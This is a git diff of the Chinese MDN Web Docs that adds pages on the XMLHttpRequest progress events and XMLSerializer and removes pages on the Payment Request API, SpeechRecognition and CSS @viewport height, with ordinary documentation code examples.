diff --git a/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html new file mode 100644 index 0000000000..529a0b1673 --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadend_event/index.html @@ -0,0 +1,89 @@ +--- +title: loadend +slug: Web/Events/loadend +translation_of: Web/API/XMLHttpRequest/loadend_event +--- +

loadend事件总是在一个资源的加载进度停止之后被触发 (例如,在已经触发“error”,“abort”或“load”事件之后)。这适用于 {{domxref("XMLHttpRequest")}}调用, 以及{{htmlelement("img")}}或{{htmlelement("video")}}之类元素的内容。

+ +

General info

+ +
+
规范
+
Progress
+
接口
+
ProgressEvent
+
可冒泡
+
+
可取消
+
+
触发对象
+
例如{{domxref("HTMLImageElement")}}
+
默认行为
+
+
+ +

Properties

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ + + +
    +
  • {{event("loadstart")}}
  • +
  • {{event("progress")}}
  • +
  • {{event("error")}}
  • +
  • {{event("abort")}}
  • +
  • {{event("load")}}
  • +
  • {{event("loadend")}}
  • +
+ +

See also

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html new file mode 100644 index 0000000000..60362dd94a --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/loadstart_event/index.html @@ -0,0 +1,91 @@ +--- +title: loadstart +slug: Web/Events/loadstart +tags: + - 事件 +translation_of: Web/API/XMLHttpRequest/loadstart_event +--- +

当程序开始加载时,loadstart 事件将被触发。这个事件可以被 {{domxref("XMLHttpRequest")}} 调用, 也适用于 {{htmlelement("img")}} 和 {{htmlelement("video")}} 元素.

+ +

基本信息

+ +
+
规范文档
+
Progress
+
接口
+
ProgressEvent
+
冒泡
+
No
+
可取消
+
No
+
目标
+
Element
+
默认动作
+
None
+
+ +

属性

+ + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + + +
PropertyTypeDescription
target {{readonlyInline}}{{domxref("EventTarget")}}The event target (the topmost target in the DOM tree).
type {{readonlyInline}}{{domxref("DOMString")}}The type of event.
bubbles {{readonlyInline}}{{jsxref("Boolean")}}Whether the event normally bubbles or not.
cancelable {{readonlyInline}}{{jsxref("Boolean")}}Whether the event is cancellable or not.
lengthComputable {{readonlyInline}}{{jsxref("Boolean")}}Specifies whether or not the total size of the transfer is known. Read only.
loaded {{readonlyInline}}unsigned long (long)The number of bytes transferred since the beginning of the operation. This doesn't include headers and other overhead, but only the content itself. Read only.
total {{readonlyInline}}unsigned long (long)The total number of bytes of content that will be transferred during the operation. If the total size is unknown, this value is zero. Read only.
+ +

相关事件

+ +
    +
  • {{event("loadstart")}}
  • +
  • {{event("progress")}}
  • +
  • {{event("error")}}
  • +
  • {{event("abort")}}
  • +
  • {{event("load")}}
  • +
  • {{event("loadend")}}
  • +
+ +

了解更多

+ + diff --git a/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html new file mode 100644 index 0000000000..6a63ab9d5e --- /dev/null +++ b/files/zh-cn/web/api/xmlhttprequest/progress_event/index.html @@ -0,0 +1,146 @@ +--- +title: progress event +slug: Web/Events/进度条 +tags: + - API + - Event + - Reference + - Web + - XMLHttpRequest + - progress +translation_of: Web/API/XMLHttpRequest/progress_event +--- +

{{APIRef}}

+ +

progress事件会在请求接收到数据的时候被周期性触发。

+ + + + + + + + + + + + + + + + + + + + +
BubblesNo
CancelableNo
Interface{{domxref("ProgressEvent")}}
Event handler property{{domxref("XMLHttpRequestEventTarget/onprogress", "onprogress")}}
+ +

示例

+ +

Live example

+ +

HTML

+ +
<div class="controls">
+    <input class="xhr success" type="button" name="xhr" value="Click to start XHR (success)" />
+    <input class="xhr error" type="button" name="xhr" value="Click to start XHR (error)" />
+    <input class="xhr abort" type="button" name="xhr" value="Click to start XHR (abort)" />
+</div>
+
+<textarea readonly class="event-log"></textarea>
+ + + +

JS

+ +
const xhrButtonSuccess = document.querySelector('.xhr.success');
+const xhrButtonError = document.querySelector('.xhr.error');
+const xhrButtonAbort = document.querySelector('.xhr.abort');
+const log = document.querySelector('.event-log');
+
+function handleEvent(e) {
+    log.textContent = log.textContent + `${e.type}: ${e.loaded} bytes transferred\n`;
+}
+
+function addListeners(xhr) {
+    xhr.addEventListener('loadstart', handleEvent);
+    xhr.addEventListener('load', handleEvent);
+    xhr.addEventListener('loadend', handleEvent);
+    xhr.addEventListener('progress', handleEvent);
+    xhr.addEventListener('error', handleEvent);
+    xhr.addEventListener('abort', handleEvent);
+}
+
+function runXHR(url) {
+    log.textContent = '';
+
+    const xhr = new XMLHttpRequest();
+    addListeners(xhr);
+    xhr.open("GET", url);
+    xhr.send();
+    return xhr;
+}
+
+xhrButtonSuccess.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg');
+});
+
+xhrButtonError.addEventListener('click', () => {
+    runXHR('https://somewhere.org/i-dont-exist');
+});
+
+xhrButtonAbort.addEventListener('click', () => {
+    runXHR('https://mdn.mozillademos.org/files/16553/DgsZYJNXcAIPwzy.jpg').abort();
+});
+ +

Result

+ +

{{ EmbedLiveSample('Live_example', '100%', '150px') }}

+ +

规范

+ + + + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('XMLHttpRequest', '#event-xhr-progress')}}{{Spec2('XMLHttpRequest')}}
+ +

浏览器兼容性

+ + + +

{{Compat("api.XMLHttpRequest.progress_event")}}

+ +

相关链接

+ +
    +
  • Related events: {{domxref("XMLHttpRequest/loadstart_event", "loadstart")}}, {{domxref("XMLHttpRequest/load_event", "load")}}, {{domxref("XMLHttpRequest/loadend_event", "loadend")}}, {{domxref("XMLHttpRequest/error_event", "error")}}, {{domxref("XMLHttpRequest/abort_event", "abort")}}
  • +
  • Monitoring progress
  • +
diff --git a/files/zh-cn/web/api/xmlserializer/index.html b/files/zh-cn/web/api/xmlserializer/index.html new file mode 100644 index 0000000000..5c0af6bf9f --- /dev/null +++ b/files/zh-cn/web/api/xmlserializer/index.html @@ -0,0 +1,92 @@ +--- +title: XMLSerializer +slug: XMLSerializer +tags: + - DOM Parsing + - XML + - XMLSerializer + - construct + - conversion +translation_of: Web/API/XMLSerializer +--- +
{{APIRef("XMLSerializer")}}
+ +
XMLSerializer接口提供{{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法来构建一个代表 {{Glossary("DOM")}} 树的XML字符串。
+ +

方法

+ +
+
{{domxref("XMLSerializer.serializeToString", "serializeToString()")}}
+
返回DOM子树序列化后的字符串。
+
{{domxref("XMLSerializer.serializeToStream", "serializeToStream()")}} {{ non-standard_inline }}{{ deprecated_inline }}
+
将指定元素的每个子树按照特定的字符集序列化成字节流。
+
+ +

示例

+ +

把 XML 序列化为字符串

+ +

首先,最基本的例子是将整个 document 对象序列化为一个 XML 字符串。

+ +
 var s = new XMLSerializer();
+ var d = document;
+ var str = s.serializeToString(d);
+ saveXML(str);
+ +

这里新建了一个 XMLSerializer 对象实例, 然后将待序列化的 {{domxref("Document")}} 对象实例传入返回等价 XML 的 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法。

+ +

向一个基于 XML 的 DOM 对象中

+ +

本例使用 {domxref("Element.insertAdjacentHTML()")}} 方法将一个新的 DOM {{domxref("Node")}} 插入 基于序列化 {{domxref("Document")}} 对象创建的 XML 中。

+ +
+

注意: 在真实场景下,你通常应该通过调用 {{domxref("Document.importNode", "importNode()")}} 方法将新节点加入 DOM 中, 然后通过调用以下方法将目标节点添加到 DOM 树:

+ +
    +
  • {{domxref("Document")}} 和 {{domxref("Element")}} 方法 {{domxref("ParentNode.append", "append()")}} 和 {{domxref("ParentNode.prepend", "prepend()")}}
  • +
  • {{domxref("ChildNode.replaceWith", "Node.replaceWith()")}} 方法(替换现有节点)
  • +
  • {{domxref("Document.insertAdjacentElement()")}} 和 {{domxref("Element.insertAdjacentElement()")}} 方法.
  • +
+
+ +

因为insertAdjacentHTML() 的第二个参数是一个字符串而不是 Node 节点对象, 所以这里先要使用 XMLSerializer 将节点转换为字符串.

+ +
var inp = document.createElement('input');
+var XMLS = new XMLSerializer();
+var inp_xmls = XMLS.serializeToString(inp); // 先将一个 DOM 节点转换为字符串。
+
+// 将新建的节点添加到 DOM 中。
+document.body.insertAdjacentHTML('afterbegin', inp_xmls);
+ +

以上代码通过调用 {{domxref("Document.createElement()")}} 方法新建一个 {HTMLElement("input")}} 对象 , 然后通过 {{domxref("XMLSerializer.serializeToString", "serializeToString()")}} 方法将该对象序列化为 XML.

+ +

做完以上工作之后, 使用 insertAdjacentHTML() 方法将 <input> 元素加入 DOM.

+ +

规范

+ + + + + + + + + + + + + + +
SpecificationStatusComment
{{SpecName('DOM Parsing', '#the-xmlserializer-interface', 'XMLSerializer')}}{{Spec2('DOM Parsing')}}
+ +

浏览器兼容性

+ +
{{Compat("api.XMLSerializer")}}
+ +

参见

+ + diff --git "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" "b/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" deleted file mode 100644 index 9993a0a959..0000000000 --- "a/files/zh-cn/web/api/\346\214\207\346\225\260/index.html" +++ /dev/null @@ -1,6 +0,0 @@ ---- -title: 指数 -slug: Web/API/指数 -translation_of: Web/API/Index ---- -

{{Index("/zh-CN/docs/Web/API")}}

diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" deleted file mode 100644 index a6772dc5be..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/concepts/index.html" +++ /dev/null @@ -1,128 +0,0 @@ ---- -title: 交易过程的基本概念 -slug: Web/API/支付_请求_接口/Concepts -tags: - - API - - Apple Pay - - 中间状态 - - 交易 - - 付款方 - - 付款方式 - - 应用程序接口 - - 指南 - - 支付 - - 支付请求API - - 收款方 - - 贸易 -translation_of: Web/API/Payment_Request_API/Concepts ---- -

{{securecontext_header}}{{DefaultAPISidebar("Payment Request API")}}{{draft}}

- -

交易请求API使在网站或应用上进行的交易变得更便捷。在这篇文档中,我们将了解此接口如何运作,以及各个组件的功能。

- -

术语

- -

在深入了解此API的工作方式前,你应该了解以下术语。

- -
-
收款方(或商家)
-
商家可以是个人,也可以是一个组织。商家扮演的角色是在自己的网站或应用上通过支付请求API收款。
-
付款方
-
付款方可以是个人,也可以是一个组织。付款方扮演的角色是,在网站或应用上购买物品。支付流程要求付款方先自证身份,然后授权付款。
-
支付方式
-
付款的方式,例如信用卡或线上支付服务。
-
支付方式提供方
-
对某种特定支付方式提供技术支持的组织。例如,使用信用卡付钱时,信用卡交易处理就是一种支付方式提供方。
-
交易处理机
-
一段代码,作用是与付款方式提供方交互,进行交易处理。
-
- -

某些交易处理机会用到商家认证。商家认证是指以某种方式认证商家的身份,可能的方式包括密码学机制(例如公钥)。认证成功后的商家得以和交易处理机进行交互。

- -

支付方式识别码

- -

交易处理机是通过支付方式识别码识别的。交易方式识别码是一个指向唯一交易处理机的字符串,它可以是一套已成标准的识别码,也可以是一个URL。后者被交易处理服务同时用于两种用途:自证身份和处理交易。

- -

标准化的交易方式识别码

- -

目前注册在案的只有一套标准化交易方式识别码。(未来可能会添加更多。)

- -
-
基本卡(basic-card, 输入一次银行卡信息后即可多次消费的支付方式)
-
?根据基本卡规范进行交易处理。?详细说明请参见{{domxref("BasicCardRequest")}}。此处应该有对基本卡规范和使用方法进行说明的文档。
-
- -

基于URL的交易方式识别码

- -

这种识别方式的具体使用将会极大程度地依赖不同服务各自的规范。比如,某种服务可能使用多个URL链接,不同URL的使用依赖于API的版本和通信方式等。

- -
-
https://apple.com/apple-pay
-
交易使用Apple Pay服务。目前,只有Safari浏览器支持这种交易方式。
-
https://google.com/pay
-
交易使用Google Pay. 目前,只有Chrome及Chrome内核的浏览器支持这种交易方式。
-
- -

交易处理机的功能

- -

{{Glossary("user agent")}}内部机制支持不同类型的交易。另外,你还可以调用交易处理API来支持更多相应的支付方式提供方(前提是你使用的浏览器支持这些API的使用)。不论使用哪种方式,交易处理机的功能都是如下几条:

- -
    -
  1. 确保交易正确进行。 交易正确进行的条件取决于不同的支付类型和用户的支付请求;例如,如果用户选择了信用卡支付,而收款方并不支持这种方式,交易就无法正确进行。
  2. -
  3. 响应用户代理发起的对商家进行认证的请求(在处理机支持商家认证的前提下)。 详细说明请参考{{anch("Merchant validation")}}。
  4. -
  5. 验证用户提交的信息有资格发起一次有效交易。这一步骤会创建并返回一个基于具体支付方式的对象,此对象包含处理交易所需要的信息。
  6. -
- -

商家认证

- -

一些交易处理机包含商家认证步骤商家认证是指,通过某种方式识别商家的身份,使用的方式通常是“密码学挑战”。没有成功通过认证的商家不被允许使用交易处理机。

- -

具体的认证方式由交易处理机决定,也完全可以省去这种认证。最终,网站或应用唯一要做的就是就是获取商家的认证密钥并传输给{{domxref("MerchantValidationEvent.complete", "complete()")}}事件的方法。

- -
paymentRequest.onmerchantvalidation = function(event) {
-  event.complete(fetchValidationData(event.validationURL));
-}
-
- -

在这个例子中,由fetchValidationData()方法加载由validationURL提供的认证信息。要注意到的是,这个方法必须由商家服务器转发,因为通常情况下,客户端不会主动访问用于认证的URL。

- -

然后,该数据(或用来解析该数据的{{jsxref("Promise")}})被传送给交易处理机的complete()方法。交易处理机可以用该数据获取更多信息或是进行更多重的算法解析,以认证商家对处理机的使用权。

- -

因此,注意到如下事实很重要:{{Glossary("user agent")}}永远不会发送{{event("merchantvalidation")}}事件,除非用户代理自身装载了交易处理机。例如,Safari浏览器本身即支持Apple Pay,而Apple Pay的交易处理机可据此向客户端发送merchantvalidation、指示客户端获取服务器上的认证信息,并将其传送给交易处理机的complete(),来为商品进行支付。

- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}初始定义。
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义了 {{domxref("BasicCardRequest")}} 和 {{domxref("BasicCardResponse")}}.
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义了支付方式识别码和认证方式,并在适用的情况下铸币或在W3C规范中进行登记。
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" "b/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" deleted file mode 100644 index 0df4261062..0000000000 --- "a/files/zh-cn/web/api/\346\224\257\344\273\230_\350\257\267\346\261\202_\346\216\245\345\217\243/index.html" +++ /dev/null @@ -1,136 +0,0 @@ ---- -title: 支付请求接口 -slug: Web/API/支付_请求_接口 -tags: - - 中间状态 - - 信用卡 - - 到岸卸货 - - 参考 - - 应用程序接口 - - 支付 - - 支付请求 - - 支付请求接口 - - 概述 - - 贸易 -translation_of: Web/API/Payment_Request_API ---- -
{{DefaultAPISidebar("Payment Request API")}}{{securecontext_header}}
- -

支付请求API为商家和支付者提供了统一的用户体验。它并非提供一种新的支付方式,而是让用户可以在原有的支付方式中进行选择,并使商家可以获悉用户的支付情况。

- -

支付请求的概念和使用

- -

在网上购物时,使许多用户中止购物车结算的原因都可以被归结为填写支付信息表单时的步骤繁多导致的费时费力。支付请求API正是被用以减少支付步骤,逐步彻底消除表单的填写。它的目的是简化结算流程,而实现此目的的方式是通过保存用户相关信息并传送给商家。在理想的情况下,用户将不需要填写HTML表单。

- -

使用支付请求API中“保存卡信息并自动扣款”(使用银行卡支付时)的优点:

- -
    -
  • 快捷的购买体验:用户在浏览器上只需输入一次银行卡信息,之后便可一键对网络上提供的商品和服务进行支付。即使在不同的站点购物,他们也不需要反复填写相同的支付信息。
  • -
  • 跨站点的统一用户体验(仅指支持此API的站点):浏览器统一控制支付页面,使定制化内容得以实现。可以定制的内容包括语言的本地化。
  • -
  • 无障碍体验:支付页面中的表单元素由浏览器控制,使得键盘输入和屏幕朗读在跨站点时也能以统一的方式工作,且不需要开发者的额外开发。浏览器也可以对支付页面中的字体大小、颜色对比度进行同一调节,使用户在支付过程中获得更加舒适的体验。
  • -
  • 认证管理:用户可以直接通过浏览器管理自己的信用卡和收件地址,且浏览器可以在不同设备间同步这些“认证信息”。这样,用户就能在购物时灵活地在电脑和移动设备间来回切换。
  • -
  • 统一的异常信息处理:浏览器可以检查信用卡卡号的有效性,并在卡片已经(或即将)过期时告知用户。浏览器可以通过用户过去的使用习惯和商家的支付规则(例如,“我们只支持Visa或Mastercard”)自动对此次交易使用卡片的选择提出建议。用户还可以自行设置默认/最偏好的卡片。
  • -
- -

当用户在页面上进行操作发起一次支付,比如点击“购买”按钮时,网页会相应地创建一个{{domxref("PaymentRequest")}}对象。PaymentRequest对象允许网页与用户代理交互,传送用户输入的用以交易的信息。

- -

你可以在Using the Payment Request API中查看完整指南。

- -
-

注意:此API只有在设置了{{htmlattrxref("allowpaymentrequest","iframe")}}属性时才支持{{htmlelement("iframe")}}元素的跨域使用。

-
- -

接口

- -
-
{{domxref('PaymentAddress')}}
-
一个包含地址信息的对象;例如,可以包含账单地址和收货地址。
-
{{domxref('PaymentRequest')}}
-
一个提供了创建和管理 {{Glossary("user agent", "user agent's")}}支付接口的对象。
-
{{domxref('PaymentRequestEvent')}}
-
当{{domxref("PaymentRequest")}}发生时,被传送给支付回调函数的事件。
-
{{domxref('PaymentRequestUpdateEvent')}}
-
当用户进行操作时,使网页可以更新相应的支付信息的事件。
-
{{domxref('PaymentMethodChangeEvent')}}
-
代表支付凭证改变(例如,用户将支付方式从信用卡改为了借记卡)的事件。
-
{{domxref('PaymentResponse')}}
-
一个对象,当用户选择了一种支付方式并同意发起交易请求后被返回。
-
{{domxref('MerchantValidationEvent')}}
-
代表浏览器要求商家(网站)证实自身被允许使用某种特定的支付回调函数(例如,注册了对Apply Pay支付方式的使用)的事件。
-
- -
-
- -

词典

- -
-
{{domxref("AddressErrors")}}
-
一个由字符串组成的词典,包含用以描述任何{{domxref("PaymentAddress")}}条目中可能出现的报错的相应描述。
-
{{domxref("PayerErrors")}}
-
一个由字符串组成的词典,包含了{{domxref("PaymentResponse")}}中出现的有关邮件地址、电话号码及姓名的报错的相应描述。
-
{{domxref("PaymentDetailsUpdate")}}
-
一个对象,用于描述当服务器在发起支付请求后且在用户与之交互前,需要更新支付信息的事件。
-
- -

“保存卡信息并自动扣款”规范的相关词典

- -
-
{{domxref("BasicCardChangeDetails")}}
-
一个对象,提供了当用户更改支付信息时,{{domxref("PaymentMethodChangeEvent.methodDetails", "methodDetails")}}中传送通过{{event("paymentmethodchange")}}事件传送给 {{domxref("PaymentRequest")}}的删节的地址信息。
-
{{domxref("BasicCardErrors")}}
-
一个对象,提供了{{domxref("BasicCardResponse")}}中无效信息的相关错误提示。错误发生时,该对象被传送给{{domxref("PaymentRequest")}},作为{{domxref("PaymentValidationErrors")}}对象中{{domxref("PaymentValidationErrors.paymentMethod", "paymentMethod")}}属性的值。
-
{{domxref('BasicCardRequest')}}
-
定义了支付请求信息(例如“卡类型”)对象的结构。
-
{{domxref('BasicCardResponse')}}
-
定义了支付请求响应(例如被使用的银行卡的“卡号”、“有效期”和“账单地址”)对象的结构。
-
- -

规范

- - - - - - - - - - - - - - - - - - - - - - - - -
规范状态注释
{{SpecName('Payment')}}{{Spec2('Payment')}}原始定义
{{SpecName('Basic Card Payment')}}{{Spec2('Basic Card Payment')}}定义信用卡支付回调函数中的{{domxref("BasicCardRequest")}}和{{domxref("BasicCardResponse")}}
{{SpecName('Payment Method Identifiers')}}{{Spec2('Payment Method Identifiers')}}定义支付方式的识别码和认证方式。对于某些适用的场景,通过W3C进行铸币和注册。
- -

浏览器兼容性

- -
-

支付请求接口

- -
- - -

{{Compat("api.PaymentRequest", 0)}}

-
-
- -

相关文档

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" deleted file mode 100644 index 83e11e69e4..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/index.html" +++ /dev/null @@ -1,153 +0,0 @@ ---- -title: 语音识别 -slug: Web/API/语音识别 -translation_of: Web/API/SpeechRecognition ---- -

{{APIRef("Web Speech API")}}{{SeeCompatTable}}

- -

The SpeechRecognition interface of the Web Speech API is the controller interface for the recognition service; this also handles the {{domxref("SpeechRecognitionEvent")}} sent from the recognition service.

- -
-

Note: On Chrome, using Speech Recognition on a web page involves a server-based recognition engine. Your audio is sent to a web service for recognition processing, so it won't work offline.

-
- -

Constructor

- -
-
{{domxref("SpeechRecognition.SpeechRecognition()")}}
-
Creates a new SpeechRecognition object.
-
- -

Properties

- -

SpeechRecognition also inherits properties from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.grammars")}}
-
Returns and sets a collection of {{domxref("SpeechGrammar")}} objects that represent the grammars that will be understood by the current SpeechRecognition.
-
{{domxref("SpeechRecognition.lang")}}
-
Returns and sets the language of the current SpeechRecognition. If not specified, this defaults to the HTML {{htmlattrxref("lang","html")}} attribute value, or the user agent's language setting if that isn't set either.
-
{{domxref("SpeechRecognition.continuous")}}
-
Controls whether continuous results are returned for each recognition, or only a single result. Defaults to single (false.)
-
{{domxref("SpeechRecognition.interimResults")}}
-
Controls whether interim results should be returned (true) or not (false.) Interim results are results that are not yet final (e.g. the {{domxref("SpeechRecognitionResult.isFinal")}} property is false.)
-
{{domxref("SpeechRecognition.maxAlternatives")}}
-
Sets the maximum number of {{domxref("SpeechRecognitionAlternative")}}s provided per result. The default value is 1.
-
{{domxref("SpeechRecognition.serviceURI")}}
-
Specifies the location of the speech recognition service used by the current SpeechRecognition to handle the actual recognition. The default is the user agent's default speech service.
-
- -
-
- -

Methods

- -

SpeechRecognition also inherits methods from its parent interface, {{domxref("EventTarget")}}.

- -
-
{{domxref("SpeechRecognition.abort()")}}
-
Stops the speech recognition service from listening to incoming audio, and doesn't attempt to return a {{domxref("SpeechRecognitionResult")}}.
-
{{domxref("SpeechRecognition.start()")}}
-
Starts the speech recognition service listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
-
{{domxref("SpeechRecognition.stop()")}}
-
Stops the speech recognition service from listening to incoming audio, and attempts to return a {{domxref("SpeechRecognitionResult")}} using the audio captured so far.
-
- -

Events

- -

Listen to these events using addEventListener() or by assigning an event listener to the oneventname property of this interface.

- -
-
audiostart
-
Fired when the user agent has started to capture audio.
- Also available via the onaudiostart property.
-
audioend
-
Fired when the user agent has finished capturing audio.
- Also available via the onaudioend property.
-
end
-
Fired when the speech recognition service has disconnected.
- Also available via the onend property.
-
error
-
Fired when a speech recognition error occurs.
- Also available via the onerror property.
-
nomatch
-
Fired when the speech recognition service returns a final result with no significant recognition. This may involve some degree of recognition, which doesn't meet or exceed the {{domxref("SpeechRecognitionAlternative.confidence","confidence")}} threshold.
- Also available via the onnomatch property.
-
result
-
Fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app.
- Also available via the onresult property.
-
soundstart
-
Fired when any sound — recognisable speech or not — has been detected.
- Also available via the onsoundstart property.
-
soundend
-
Fired when any sound — recognisable speech or not — has stopped being detected.
- Also available via the onsoundend property.
-
speechstart
-
Fired when sound that is recognised by the speech recognition service as speech has been detected.
- Also available via the onspeechstart property.
-
speechend
-
Fired when speech recognised by the speech recognition service has stopped being detected.
- Also available via the onspeechend property.
-
start
-
Fired when the speech recognition service has begun listening to incoming audio with intent to recognize grammars associated with the current SpeechRecognition.
- Also available via the onstart property.
-
- -

Examples

- -

In our simple Speech color changer example, we create a new SpeechRecognition object instance using the {{domxref("SpeechRecognition.SpeechRecognition", "SpeechRecognition()")}} constructor, create a new {{domxref("SpeechGrammarList")}}, and set it to be the grammar that will be recognised by the SpeechRecognition instance using the {{domxref("SpeechRecognition.grammars")}} property.

- -

After some other values have been defined, we then set it so that the recognition service starts when a click event occurs (see {{domxref("SpeechRecognition.start()")}}.) When a result has been successfully recognised, the {{domxref("SpeechRecognition.onresult")}} handler fires,  we extract the color that was spoken from the event object, and then set the background color of the {{htmlelement("html")}} element to that colour.

- -
var grammar = '#JSGF V1.0; grammar colors; public <color> = aqua | azure | beige | bisque | black | blue | brown | chocolate | coral | crimson | cyan | fuchsia | ghostwhite | gold | goldenrod | gray | green | indigo | ivory | khaki | lavender | lime | linen | magenta | maroon | moccasin | navy | olive | orange | orchid | peru | pink | plum | purple | red | salmon | sienna | silver | snow | tan | teal | thistle | tomato | turquoise | violet | white | yellow ;'
-var recognition = new SpeechRecognition();
-var speechRecognitionList = new SpeechGrammarList();
-speechRecognitionList.addFromString(grammar, 1);
-recognition.grammars = speechRecognitionList;
-//recognition.continuous = false;
-recognition.lang = 'en-US';
-recognition.interimResults = false;
-recognition.maxAlternatives = 1;
-
-var diagnostic = document.querySelector('.output');
-var bg = document.querySelector('html');
-
-document.body.onclick = function() {
-  recognition.start();
-  console.log('Ready to receive a color command.');
-}
-
-recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color;
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-section', 'SpeechRecognition')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- - - -

{{Compat("api.SpeechRecognition")}}

- -

See also

- - diff --git "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" "b/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" deleted file mode 100644 index d6415441f3..0000000000 --- "a/files/zh-cn/web/api/\350\257\255\351\237\263\350\257\206\345\210\253/result_event/index.html" +++ /dev/null @@ -1,83 +0,0 @@ ---- -title: 'SpeechRecognition: result event' -slug: Web/API/语音识别/result_event -translation_of: Web/API/SpeechRecognition/result_event ---- -
{{APIRef("Web Speech API")}} {{SeeCompatTable}}
- -

The result event of the Web Speech API is fired when the speech recognition service returns a result — a word or phrase has been positively recognized and this has been communicated back to the app

- - - - - - - - - - - - - - - - - - - - -
BubblesNo
CancelableNo
Interface{{domxref("SpeechRecognitionEvent")}}
Event handler propertyonresult
- -

Examples

- -

This code is excerpted from our Speech color changer example.

- -

You can use the result event in an addEventListener method:

- -
var recognition = new webkitSpeechRecognition() || new SpeechRecognition();
-
-recognition.addEventListener('result', function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-});
-
- -

Or use the onresult event handler property:

- -
recognition.onresult = function(event) {
-  var color = event.results[0][0].transcript;
-  diagnostic.textContent = 'Result received: ' + color + '.';
-  bg.style.backgroundColor = color;
-}
- -

Specifications

- - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('Web Speech API', '#speechreco-events', 'speech recognition events')}}{{Spec2('Web Speech API')}} 
- -

Browser compatibility

- -
- - -

{{Compat("api.SpeechRecognition.result_event")}}

-
- -

See also

- - diff --git a/files/zh-cn/web/css/@viewport/height/index.html b/files/zh-cn/web/css/@viewport/height/index.html deleted file mode 100644 index 92d33a292c..0000000000 --- a/files/zh-cn/web/css/@viewport/height/index.html +++ /dev/null @@ -1,80 +0,0 @@ ---- -title: height -slug: Web/CSS/@viewport/height -translation_of: Web/CSS/@viewport -translation_of_original: Web/CSS/@viewport/height ---- -
{{CSSRef}}
- -
height CSS 属性是同时设置可视区 {{cssxref("@viewport/min-height", "min-height")}} and {{cssxref("@viewport/max-height", "max-height")}} 的简写。当你设置一个值的时候,最小高度(minimum height)和最大高度(maximum height)会被同时设置。
- -

如果提供两个值,第一个值会被设置为最小高度,第二个值将会被设置为最大高度。

- -

语法

- -
/* One value */
-height: auto;
-height: 320px;
-height: 15em;
-
-/* Two values */
-height: 320px 200px;
-
- -

合法值

- -
-
auto
-
真实生效的高度值将根据其他 CSS 属性计算得出。
-
<length>
-
一个非负的绝对或相对值。
-
<percentage>
-
一个相对于缩放因子是 1.0 的初始可视区宽高的百分比值,水平和垂直方向的长度分别计算。不能是负值。
-
- -

正式定义

- -

{{cssinfo}}

- -

正式语法

- -
{{csssyntax}}
- -

示例

- -

设置最小和最大高度

- -
@viewport {
-  height: 500px;
-}
- -

规范

- - - - - - - - - - - - - - - - -
SpecificationStatusComment
{{SpecName('CSS3 Device', '#descdef-viewport-height', '"height" descriptor')}}{{Spec2('CSS3 Device')}}初始定义
- -

浏览器兼容性

- - - -

{{Compat("css.at-rules.viewport.height")}}

- -

同时查看

- -
    -
  • {{cssxref("@viewport")}}
  • -
